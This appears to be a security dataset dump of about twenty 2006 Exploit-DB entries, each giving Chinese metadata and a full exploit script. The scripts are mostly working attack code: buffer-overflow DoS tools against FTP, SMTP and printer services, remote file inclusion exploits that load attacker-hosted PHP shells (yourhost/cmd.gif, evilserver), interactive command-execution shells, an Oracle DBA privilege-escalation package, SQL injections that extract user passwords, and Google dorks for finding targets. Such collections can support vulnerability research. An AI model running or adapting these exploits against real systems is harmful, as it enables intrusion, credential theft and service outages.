QLWD/code_shield huggingface dataset:
标题: XM Easy Personal FTP Server 4.3 - 'USER' Remote Buffer Overflow (PoC) EDB-ID: 1748 CVE: 2006-2225 类型: DOS 平台: WINDOWS 发布日期: 2006-05-04 漏洞利用脚本: ##############################################################
# XM EASY PERSONAL FTP SERVER v4.3                           #  
# http://www.securityfocus.com/archive/1/432960/30/0/threaded# 
# Buffer Overflow Vulnerability PoC                          #  
# ahmed@rewterz.com                                          #
##############################################################

import socket
import struct
import time
import sys


buff='USER '+'A'*5000+'\r\n'

if len(sys.argv)!=3:
 print "[+] Usage: %s <ip> <port> \n" %sys.argv[0]
 sys.exit(0)

try:
 
        print "[+] Connecting to %s" %sys.argv[1]
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 connect=s.connect((sys.argv[1],int(sys.argv[2])))
 print "[+] Sending Evil buffer"
 time.sleep(1)
 s.send(buff)
        print "[+] Service Crashed"
        s.recv(1024)
 
except:
 print "[+] Could Not Connect To ftp server"

# milw0rm.com [2006-05-04] URL: https://www.exploit-db.com/exploits/1748
标题: FileCOPA FTP Server 1.01 - 'USER' Remote Denial of Service EDB-ID: 1754 CVE: 2006-2254 类型: DOS 平台: WINDOWS 发布日期: 2006-05-05 漏洞利用脚本: ### FILECOPA DOS
### www.filecopa.com
### Found Jan 19 2006, Tested again on the new release 6 April 2006
### BY Bigeazer 
### http://blacksecurity.org

### They are selling this software for $39.95...
### oh well.. maybe they shoud fix it first?

#
# It appears that FileCopa does not handle alot of new line char
# in the USER login.  This is in the filecpnt.exe file.
# 
# This is only a DOS, that kills the ftp process


import sys,os,string
import socket
import struct
import time

print "-------------------------------"
print "- FileCopa DOS"
print "- Found by: bigeazer"
print "- Should have crashed FileCopa"
print "-------------------------------"

buffer = "\x0a" * 248 + struct.pack('<L',0xdeadbeef)  * 960 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
 conn = s.connect((sys.argv[1],21))
except:
 print "- Unable to connect. exiting."
 sys.exit(1)

d = s.recv(1024)
time.sleep(1)
s.send('USER %s\r\n' % buffer)
time.sleep(1)
sys.exit(0)

# milw0rm.com [2006-05-05] URL: https://www.exploit-db.com/exploits/1754
标题: TopList 1.3.8 - 'phpBB Hack' Remote File Inclusion (2) EDB-ID: 1724 CVE: 2006-2151 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-28 漏洞利用脚本: # TopList Hack for PHPBB <= 1.3.8 Remote File Inclusion
# Based on http://milw0rm.com/exploits/1722
# Bug found by : [Oo]
#
# No more uploading php shells !!! 
# This is my way of php include exploitation !!!
# Learn to play with sockets !!!
# FOX_MULDER (fox_mulder@abv.bg)

#!/usr/bin/perl
  use LWP 5.64;
  use IO::Socket;
  use LWP::Simple;

(my $hostname, my $target, my $dir,my $command) = @ARGV;

if(@ARGV < 4) {
print "=======================================================================+\n";
print "TopList REMOTE COMMAND EXECUTION EXPLOIT by fox_mulder\@abv.bg         |\n";
print "Usage: top.pl yourIP target /dir/ \"command\"                            |\n";
print "Example: top.pl 10.20.30.40 www.microsoft.com /forum/ \"uname -a\"     |\n";
print "=======================================================================+\n";
exit;
}
print "[+]Creating listening socket . . .\n";
my $sock = new IO::Socket::INET (
                                  LocalHost => "$hostname",
                                  LocalPort => '9999',
                                  Proto => 'tcp',
                                  Listen => 1,
                                  Reuse => 1,
                                 );
 die "Could not create socket: $!\n" unless $sock;

        if (my $pid = fork){
        my $new_sock = $sock->accept();
                my $request = <$new_sock>;
                print $new_sock "HTTP/1.1 200 OK\n";
                print $new_sock "Content-Length: $content_length\n";
                print $new_sock "Content-Type: text/plain\n\n";
                print $new_sock "<? error_reporting(0);passthru(\"$command\"); ?>\n";
                close $new_sock;
                exit;
        }
print "[+]Injecting  command . . .\n";

my $browser = LWP::UserAgent->new;
   $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');

  my $url = "http://$target/$dir/toplist.php";
  my $response = $browser->post( $url,
    [
 'f'            => "toplist_top10",
        'phpbb_root_path' => "http://$hostname:9999/blah.php"
]
  );

  die "Received invalid response type", $response->content_type
   unless $response->content_type eq 'text/html';

        print $response->content;

# milw0rm.com [2006-04-28] URL: https://www.exploit-db.com/exploits/1724
标题: openPHPNuke 2.3.3 - Remote File Inclusion EDB-ID: 1727 CVE: 2006-2137 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: Title: OpenPHPNuke <= 2.3.3 Remote File Inclusion
URL: http://www.openphpnuke.com/
Dork: inurl:/system/article/alltopics.php OR inurl:/system/user/index.php
Credits: [Oo]

Exploit: /master.php?root_path=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-29] URL: https://www.exploit-db.com/exploits/1727
标题: Aardvark Topsites PHP 4.2.2 - 'path' Remote File Inclusion EDB-ID: 1730 CVE: 2006-7026 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-30 漏洞利用脚本: Title: Aardvark Topsites PHP 4.2.2 remote file inclusion
URL: http://www.aardvarktopsitesphp.com/
Dork: "Powered By Aardvark Topsites PHP 4.2.2"

Exploit: /sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-30] URL: https://www.exploit-db.com/exploits/1730
标题: Fast Click 1.1.3/2.3.8 - 'show.php' Remote File Inclusion EDB-ID: 1740 CVE: 2006-2175 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-02 漏洞利用脚本: #!/usr/bin/perl
##
# Fast Click <= 2.3.8 Remote File Inclusion exploit
# Bug discovered and cod3d by R@1D3N (amin emami)
#Greet:Outlaw - Aura - Dltrp - Cl0wn - B3HZAD - sm0k3r - Exploitercode - Str0ke and all persian Cyber team
#http://www.aria-security.net
#Dork:inurl:"fclick.php?fid"
# usage:
# perl fc.pl <target> <cmd shell location> <cmd shell variable>
# perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'show.php?path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " Fast Click <= 2.3.8 Remote File Inclusion exploit\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl fc.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Fastclick ex: http://www.site.com/fclick/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           bug discovered by RAYD3N \r\n";
 print " www.Aria-security.net/Forums/ \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-02] URL: https://www.exploit-db.com/exploits/1740
标题: Knowledge Base Mod 2.0.2 - 'phpBB' Remote File Inclusion EDB-ID: 1728 CVE: 2006-2134 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: Title: Knowledge Base Mod for PHPbb <= 2.0.2 remote file inclusion
URL: http://www.phpbb2.de/dload.php?action=file&file_id=538
Dork: "Powered by Knowledge Base"
Credits: [Oo]

Exploit: /includes/kb_constants.php?module_root_path=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-29] URL: https://www.exploit-db.com/exploits/1728
标题: Limbo CMS 1.0.4.2 - 'sql.php' Remote File Inclusion EDB-ID: 1729 CVE: 2006-2142 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-29 漏洞利用脚本: Title: Limbo CMS <= 1.04 Remote File Inclusion
URL: http://www.limbo-cms.com/
Dork: inurl:"index2.php?option=rss" OR "powered By Limbo CMS"
Credits: [Oo]

Exploit: /classes/adodbt/sql.php?classes_dir=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-29] URL: https://www.exploit-db.com/exploits/1729
标题: Aardvark Topsites PHP 4.2.2 - 'lostpw.php' Remote File Inclusion EDB-ID: 1732 CVE: 2006-2149 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-30 漏洞利用脚本: #!/usr/bin/perl
#
# Aardvark Topsites PHP <=4.2.2 Remote Command Execution Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# to set your PHP shell location:
# cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd=
# php shell set to 'http://my.shell.fi/phpshell.gif?&cmd='
# cijfer$
#
# $Id: cijfer-atpxpl.pl,v 0.1 2006/04/30 02:11:00 cijfer Exp $

use strict;
use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

my($command,$verbose,$proxy,$shell,$host,$res);

$res = GetOptions("host=s" => \$host, "proxy=s" => \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
 print color("green"), "cijfer\# ", color("reset");
 chomp($command = <STDIN>);
 exit unless $command;
 if($command =~ m/^http:\/\/(.*)/g)
 {
  $host="http://".$1;
  print "host changed to '";
  print color("bold"), $host."'\n", color("reset");
 }
 elsif($command =~ m/^shell=http:\/\/(.*)/g)
 {
  $shell="http://".$1;
  print "php shell set to '";
  print color("bold"), $shell."'\n", color("reset");
 }
 else
 {
  &exploit($command,$host);
 }
}

sub usage
{
 print "Aardvark Topsites PHP <=4.2.2 Remote Command Execution Exploit\n";
 print "usage: $0 -hpv\n\n";
 print "  -h, --host\t\tfull address of target (ex. http://www.website.com/directory)\n";
 print "  -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
 print "  -v, --verbose\t\tverbose mode (debug)\n\n";
 exit;
}

sub exploit
{
 my($command,$host) = @_;
 my($string,$execut,$recv,$sent,$out,$cij,@cij);

 $cij=LWP::UserAgent->new() or die;
 $cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
 $cij->proxy("http", "http://".$proxy."/") unless !$proxy;

 $string  = "%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B%20";
 $string .= uri_escape(shift);
 $string .= "%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F";

 $out=$cij->get($host."/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=".$shell.$string);

 if($out->is_success)
 {
  @cij=split("_cijfer_",$out->content);
  print substr(@cij[1],1);
 }

 if($verbose)
 {
  $recv=length $out->content;
  print "Total received bytes: ".$recv."\n";
  $sent=length $command;
  print "Total sent bytes: ".$sent."\n";
 }
}

# milw0rm.com [2006-04-30] URL: https://www.exploit-db.com/exploits/1732
标题: Advanced Guestbook 2.4.0 - 'phpBB' File Inclusion EDB-ID: 1723 CVE: 2006-2152 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-28 漏洞利用脚本: Title: Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion
Dork: inurl:guestbook.php "Advanced GuestBook" "powered by phpbb"
Credits: [Oo]

Exploit: http://[url]/[phpbb_path]/admin/addentry.php?phpbb_root_path=http://[badscript]?

# milw0rm.com [2006-04-28] URL: https://www.exploit-db.com/exploits/1723
标题: Oracle 10g Release 2 - 'DBMS_EXPORT_EXTENSION' SQL EDB-ID: 1719 CVE: 2006-2505 2006-2081 类型: LOCAL 平台: MULTIPLE 发布日期: 2006-04-26 漏洞利用脚本: /* 0day, description is wrong. /str0ke */

/*
* Fucking NON-0 day($) exploit for Oracle 10g 10.2.0.2.0
*
* Patch your database now!
*
* by N1V1Hd $3c41r3
*
*/

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;

END;
/

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/

// milw0rm.com [2006-04-26] URL: https://www.exploit-db.com/exploits/1719
标题: FlexBB 0.5.5 - '/function/showprofile.php' SQL Injection EDB-ID: 1713 CVE: 2006-2034 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-24 漏洞利用脚本: #!/usr/bin/perl
use IO::Socket;
#FlexBB Exploit [ function/showprofile.php ] Remote SQL Injection
#
#        1- First Do Login
#        2- View This Link :D
#
#        index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM flexbb_users WHERE id=1/*
#
#-----------------------------------------------#
#
#--[ D3vil-0x1 | Devil-00 ]--#
#
# SecurityGurus.net
#               Div The PHP Security Fucking Tool :D

##-- Start --#

$host         = "127.0.0.1";
$path         = "/flexbb/";
$injec        = "-1'%20UNION%20ALL%20SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8%20FROM%20flexbb_users%20WHERE%20id=1/*";

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/
#
#        $mycookie             :-
#                                Your Login Info To Forum *  Not The Real Password || The Hashed One *


$sock = IO::Socket::INET->new (
                                                                                PeerAddr => "$host",
                                                                                PeerPort => "80",
                                                                                Proto    => "tcp"
                                                                                ) or die("[!] Connect To Server Was Filed");

##-- DONT TRY TO EDIT ME --##
$evildata  = "GET ".$path."index.php?page=showprofile&id=".$injec." HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n\n";

print $sock $evildata;

while($ans = <$sock>){
       $usr_newans = $ans;
       $pwd_newans = $ans;
       #print $newans;
       $usr_newans =~ m/<title>FlexBB - Viewing Profile: (.*?)<\/title>/ && print "[+] Username is :- ".$1."\n";
       $pwd_newans =~ m/<a href="2" target="_blank">(.*?)<\/a>/ && print "[+] Password is :- ".$1."\n";
}

# milw0rm.com [2006-04-24] URL: https://www.exploit-db.com/exploits/1713
标题: Mozilla Firefox 1.5.0.2 - 'js320.dll/xpcom_core.dll' Denial of Service (PoC) EDB-ID: 1716 CVE: 2006-1993 类型: DOS 平台: MULTIPLE 发布日期: 2006-04-24 漏洞利用脚本: <!--
---------------------------------------------------
Software:  
 Firefox Web Browser
Tested: 
 Linux, Windows clients' version 1.5.0.2
Result:  
 Firefox Remote Code Execution and Denial of Service - Vendor contacted, no patch yet.
Problem:
 A handling issue exists in how Firefox handles certain Javascript in js320.dll and xpcom_core.dll
regarding iframe.contentWindow.focus().  By manipulating this feature a buffer overflow will occur.  
Proof of Concept:
 http://www.securident.com/vuln/ff.txt
Credits:
 splices(splices [dot] org)
 spiffomatic64(spiffomatic64 [dot] com)
 Securident Technologies (securident [dot] com)
------------------------------------------------ 

http://www.securident.com/vuln/ffdos.htm - PoC firefox dos
 
 Paste the below code snippet and view it in Firefox for DoS PoC or visit the link above. -->

<textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"> URL: https://www.exploit-db.com/exploits/1716
标题: TopList 1.3.8 - 'phpBB Hack' Remote File Inclusion (1) EDB-ID: 1722 CVE: 2006-2151 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-27 漏洞利用脚本: Title: TopList Hack for PHPBB <= 1.3.8 Remote File Inclusion
URL: http://www.phpbb2hacks.de/toplist-df148.html
Dork: inurl:"toplist.php" "powered by phpbb"
Credits: [Oo]

Exploit: /toplist.php?f=toplist_top10&phpbb_root_path=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-27] URL: https://www.exploit-db.com/exploits/1722
标题: BK Forum 4.0 - 'member.asp' SQL Injection EDB-ID: 1714 CVE: 2005-1287 类型: WEBAPPS 平台: ASP 发布日期: 2006-04-24 漏洞利用脚本: # BK Forum <= 4.0 Remote SQL Injection
# by n0m3rcy
# Copyright (c) 2006 n0m3rcy <n0m3rcy@bsdmail.org>
# Exploit:

First you must be logged in
Then type this in your browser

http://www.site.com/path/member.asp?id=-1%20UNION%20SELECT%201,memName,3,4,5,6,7,8,9,10,11,memPassword,13,14,15,16%20FROM%20member+where+memID=1

You will find admin's password

# Shoutz:
nukedx , nukedx , nukedx :) , cijfer , str0ke , Devil-00

# Have phun!

# milw0rm.com [2006-04-24] URL: https://www.exploit-db.com/exploits/1714
标题: OCE 3121/3122 Printer - 'parser.exe' Denial of Service EDB-ID: 1718 CVE: 2006-2108 类型: DOS 平台: HARDWARE 发布日期: 2006-04-26 漏洞利用脚本: #!/usr/bin/perl
#
#OCE 3121/3122 Printer DoS Exploit
#----------------------------
#By Herman Groeneveld aka sh4d0wman
#trancelover75 [AT] gmail.com
#
#Description: the printer runs a webserver to provide various printing tasks from
#java enabled browsers. Input is being filtered for bad characters.
#However it is vulnerable to a long url request. This will either reboot or crash the device.
#
#On crash, the "system" led on the printer changes from green to orange. No further printing is done
#until somebody resets the printer by flipping the powerswitch. E675 error displayed in printer display.
#On reboot, printing resumes after the device has completed it's reboot cycle.
#
#Crash is hard to accomplish. Play with the buffer input size. 261 worked at my printer. 
#Values of 250/500/50000 are known to reboot the printer. No reliable size for crashing yet.
#
#Loop this exploit and printing will be nearly impossible. Tested: unhappy users. Not implemented. 
#
#If you test this on your device, pls let me know the result. I had just 1 printer to test it at ;)
#
#Discovered: 29/03/2006
#Target: tested against OCE 3121/3122 printer. 
#Vendor: www.oce.com (no response)

 use IO::Socket;

 if (@ARGV != 3)
 {
 print "                                                 \n";
 print "    #OCE 3121/3122 Printer DoS Exploit#          \n";
 print "---------------------------------------------------------------\n";
 print " Usage: crashoce.pl <target ip> <target port> <request length> \n";
 print " Example: new.pl 127.0.0.1 80 250                 \n";
 print " Play with request length for reboot or crash effect.        \n\n";
 print "       #Coded by sh4d0wman 31/03/2006#         \n";
 exit(1);
 } 

 $targetip =$ARGV[0]; #user input, no much fun in attacking 127.0.0.1 is it?
 $targetport =$ARGV[1]; #user input since vendor might change this some day, unlikely though  :-)
 $reqlength = $ARGV[2]; #user input since different sizes give different results

 print "[-] OCE 3122 Printer DoS Exploit\n\n";
 print "[-] Target IP: ";
 print $targetip;
 print "\n[-] Connecting to target IP...\n";

$socket = IO::Socket::INET->new(
 Proto => "tcp",
 PeerAddr => "$targetip",
 PeerPort => "$targetport"); unless ($socket) { die "- Could not connect. Check IP &   port. Hint: default port is 80!\n"}

print "[-] Connected to printer\n\n";

print "[-] Creating DoS request...\n";

$bufa='A'x$reqlength; #creating payload, length based on user input

print "[-] Sending request...\n\n";

print $socket "GET /parser.exe?".$bufa.".html"." HTTP/1.1\r\n\r\n";
 sleep 5; #Be advised! Printer reaction to exploit can take up to 30 sec. Pls, be patient...

print "[>]Attack completed! Printer in error state or rebooting.\n";
close($socket);

# milw0rm.com [2006-04-26] URL: https://www.exploit-db.com/exploits/1718
标题: BL4 SMTP Server < 0.1.5 - Remote Buffer Overflow (PoC) EDB-ID: 1721 CVE: 2006-2107 类型: DOS 平台: WINDOWS 发布日期: 2006-04-27 漏洞利用脚本: #!/usr/bin/perl

use IO::Socket;
use Socket;

my($socket) = "";


if($#ARGV < 1 | $#ARGV > 2) {usage()}

if($#ARGV > 2) { $prt = $ARGV[1] } else { $prt = "25" };
$adr = $ARGV[0];
$prt = $ARGV[1];

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prt\n";


        print " -- Connecting To SMTP server at $adr port $prt ... \n";

        sleep(1);

        print $socket "EHLO yahoo.com\r\n" and print " -- Sending Request to $adr .....\n" or die "Error : can't send Request\n";

        sleep(1);

        print $socket "MAIL FROM:" . "jessy" x 4600 . "\r\n" and print " -- Sending Buffer to $adr .....\n";

        sleep(1);
        printf("[+]Ok!\n");
        printf("[+]Crash service.....\n");
        printf("[~]Done.\n");

        close($socket);


sub usage()
 {
 print "\n=========================================\r\n";
 print "     BL4's SMTP server Remote DOS \r\n";
 print "=========================================\r\n";
 print "       Bug Found by Dedi Dwianto \r\n";
 print "    www.echo.or.id #e-c-h-o irc.dal.net \r\n";
 print "      Echo Security Research Group \r\n";
 print "=========================================\r\n";
 print " Usage: perl bl4-explo.pl [target] [port] \r\n\n";
 exit();
 }

# milw0rm.com [2006-04-27] URL: https://www.exploit-db.com/exploits/1721
标题: Apple Mac OSX Safari 2.0.3 (417.9.2) - 'ROWSPAN' Denial of Service (PoC) EDB-ID: 1715 CVE: 2006-2019 类型: DOS 平台: OSX 发布日期: 2006-04-24 漏洞利用脚本: <!--
Apple Mac OS X Safari 2.0.3 Vulnerability
=========================================

Author: Yannick von Arx
Email:  yannick[dot]vonarx[at]yanux[dot]ch

Release Date:
April 23th, 2006

Vendor:
Apple Computer Inc.

Tested on:
iBook G4 1.2 GHz with Mac OS X 10.4.5 (Build 8H14) + all Updates from Apple except "10.4.6 Update"
iBook G4 1.33 GHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple
PowerMac G4 Dual 867 MHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple
iMac G4 800 MHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple

Versions affected:
Safari 2.0.3 (417.9.2) latest version under 10.4.5 (Build 8H14) and perhaps prior versions
Safari 2.0.3 (417.9.2) latest version under 10.4.6 (Build 8I127) and perhaps prior versions

Overview:
A vulnerabilitiy exists in Safari 2.0.3 (417.9.2) and perhaps in
prior versions which causes the operating system to slow down SRCOD
(Spinning Rainbow Cursor Of Death), and therefore, it's not possible
to launch any applications like Terminal to kill the process. After
several minutes Safari crashes.

Technical Details:
Create a new File with following code ... -->

<HTML>
<TABLE>
<TR><TD ROWSPAN=2000000000>

# milw0rm.com [2006-04-24] URL: https://www.exploit-db.com/exploits/1715
标题: Built2Go PHP Movie Review 2B - Remote File Inclusion EDB-ID: 1711 CVE: 2006-2008 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-23 漏洞利用脚本: Built2Go PHP Movie Review <=2B Remote File Inclusion Vulnerability

in movie_cls.php

# require_once("$full_path/review_cls.php");

usage:

# http://www.site.com/[path]/movie_cls.php?full_path=http://www.site.com/x.txt?&cmd=uname -a

# milw0rm.com [2006-04-23] URL: https://www.exploit-db.com/exploits/1711